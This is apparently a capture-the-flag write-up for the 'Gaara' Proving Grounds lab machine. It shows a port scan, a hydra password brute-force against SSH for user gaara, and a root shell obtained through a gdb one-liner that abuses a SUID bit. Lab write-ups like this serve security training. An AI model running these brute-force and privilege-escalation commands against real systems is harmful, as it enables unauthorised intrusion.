Skip to content
HackIndex logo

HackIndex

Gaara Writeup - Proving Grounds

Easy Linux
Proving Grounds Discuss on Discord

Last updated May 10, 2026 • 2 min read

Joshua

HackIndex Creator

Discovery

Two open TCP ports: SSH on 22 and HTTP on 80. Apache 2.4.38 on Debian, no redirects, no interesting paths from directory enumeration or Nikto beyond default Apache findings. The page title is simply Gaara — a username hint.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Gaara

Initial Access

The page title suggests a username. With no other attack surface, brute-force SSH directly against user gaara with rockyou:

┌──(kali㉿kali)-[~]
└─$ hydra -l gaara -P /usr/share/wordlists/rockyou.txt ssh://$TARGET_IP 
[22][ssh] host: 192.168.152.142   login: gaara   password: $GAARA_PASSWORD
1 of 1 target successfully completed
┌──(kali㉿kali)-[~]
└─$ ssh gaara@$TARGET_IP 
[email protected]'s password:
Linux Gaara 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 x86_64
gaara@Gaara:~$

Privilege Escalation

sudo -l returns nothing for this user. Checking SUID binaries with suid3num.py flags two non-standard entries: /usr/bin/gdb and /usr/bin/gimp-2.10. GTFOBins lists gdb as exploitable with SUID — it can execute a shell with the effective UID of the binary owner.

user@host ~ $ /usr/bin/gdb -q -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit 
# whoami
root

The -p flag preserves the effective UID, so the shell runs as root. Root shell obtained.

References